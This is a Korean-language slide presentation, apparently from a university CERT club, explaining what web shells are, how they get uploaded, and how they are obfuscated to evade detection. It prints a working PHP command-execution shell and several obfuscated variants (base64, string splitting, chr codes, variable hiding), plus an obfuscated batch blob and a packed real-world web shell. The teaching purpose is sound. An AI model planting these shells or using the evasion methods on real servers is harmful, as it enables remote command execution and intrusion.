웹쉘 (Web shell)

i-Keeper CERT 오나희

목차

1. 웹쉘이란

정의 : 웹 서버에서 명령 실행이 가능한 악성 스크립트

종류 : PHP, ASP, ASP.NET, JSP, Python, Node.js…
웹 서버에 설치된 프로그래밍 언어나 프레임 워크를 기준으로 공격할 언어를 선택한다

1. 웹쉘이란

Q1. 어느 위치에서 PHP, ASP, ASP.NET, JSP, Python, Node.js… 같은 프로그래밍 언어들이 사용되고

Q2. 무슨 목적으로 사용되나?

1. 웹쉘이란

정적 웹 페이지 (Static Web Page)

index.html, style.css, image.png…

- 파일이 미리 작성되어 있다 (고정/불변)
- 웹 서버는 그 파일을 찾아서 그대로 주면 된다
- 처리가 빠르고, 서버 자원을 적게 쓴다

동적 웹 페이지(Dynamic Web Page)

login.php, board.jsp, product.aspx

- html이 사용자의 요청 시점에 만들어진다
- 사용자 입력, DB 내용에 따라 다른 결과가 나온다
- 스크립트 언어가 서버에서 실행된다 (PHP, JSP…)

1. 웹쉘이란

Q1. 어느 위치에서 PHP, ASP, ASP.NET, JSP, Python, Node.js…
같은 프로그래밍 언어들이 사용되나?
-> 웹 서비스의 백엔드(여러계층존재) 에서 스크립트 실행 계층에서

Q2. 무슨 목적으로 사용되나?
-> 클라이언트의 요청에 따라 동적으로 콘텐츠를 생성하거나 로직을 처리하기 위해

2. 웹쉘을 올리는 방법

1. 파일 업로드 취약점 (제일 흔함)
2. 콘텐츠 포함 취약점 (LFI/RFI) 이용
3. 명령 삽입/파일 생성 취약점
4. 프레임워크/플러그인 취약점 이용

... etc

URL 파라미터로 전달된 cmd 값을 받아서 system() 함수로 실행

3. 탐지 회피의 필요성

웹쉘을 올리면, 웹 서비스 시스템 딴에서는 즉시 차단이 된다

```
<?php system($_GET['cmd']); ?>
```

아주 간단한 PHP 형태의 웹쉘

URL 파라미터로 전달된 cmd 값을 받아서 system() 함수로 실행

4. 웹쉘 난독화 기법

```
@echo off
::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
```

Windows 배치 파일 (.bat) 형식의 난독화 된 웹쉘

4. 웹쉘 난독화 기법

아주아주 다양하다

1. 문자열 인코딩
2. 실행 함수
3. 함수명 분할 / 동적호출
4. 변수명 무작위화 / 구조 복잡화
5. 공백, 주석, 난수 삽입
6. 다단계 인코딩…

등등

4. 웹쉘 난독화 기법

기본 PHP 코드

```
<?php system($_GET['cmd']); ?>
```

<?php …?> : php 코드의 시작과 끝

$_GET['cmd'] : 사용자가 주소창에 입력한 값을 받아오는 방법

http://example.com/shell.php?cmd=whoami 식의 url을 실행하면 서버에서 whoami 명령이 실행된다

system(...) : php에서 운영체제 명령어를 실행할 수 있는 함수

4. 웹쉘 난독화 기법

Base64 난독화 : system 부분이 base64로 난독화

```
<?php
$f = base64_decode('c3lzdGVt');
$f($_GET['cmd']);
?>
```

4. 웹쉘 난독화 기법

문자열 분할 : system 부분이 분할

```
<?php $func = "sys" . "tem";
$func($_GET['cmd']); ?>
```

4. 웹쉘 난독화 기법

ASCII 코드로 변환 : system 부분이 분할

```
<?php $func = chr(115) . chr(121) . chr(115) . chr(116) .
chr(101) . chr(109); $func($_GET['cmd']); ?>
```

4. 웹쉘 난독화 기법

변수명 숨김 :cmd 라는 변수에 system 담고 호출하기

```
<?php
$cmd = "system";
$system = $_GET["cmd"];
$cmd($system);
?>
```

4. 웹쉘 난독화 기법

복합 난독화 : base64 + 변수명 숨김 + 파라미터 이름 자체 변수 처리

```
<?php
$a = "c3lzdGVt";
$b = base64_decode($a);
$c = "cmd";
$d = $_GET[$c];
$b($d);
?>
```

4. 웹쉘 난독화 기법

https://github.com/alphaSeclab/awesome-webshell 같이 github에서 찾아보면 많은 웹쉘 종류와 난독화들을 볼 수 있다

```
<?php
/*
#########################################
##           Andela Web Shell          ##
##      Code by Mr.HaurgeulisX196      ##
##               © 2018                ##
##      default pass :                 ##
## change pass $auth_pass in this below ##
##             with md5                ###
#########################################
 */
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$auth_pass = "a7d5365f1c55a31cc7818ca78c0c90de";
$andela = "7L12attTsjD82Tkn/wHh+I7sK1sEN1a0LUK4E9xKQ3EyxweACGPFUxAkkMnz29+qxk9jk1VEmfvM814lslWgu7q6urqW7q7q9ypi8VDqgQr9jaYXC5oO
eval(str_rot13(gzinflate(str_rot13(base64_decode(($andela))))));?>
```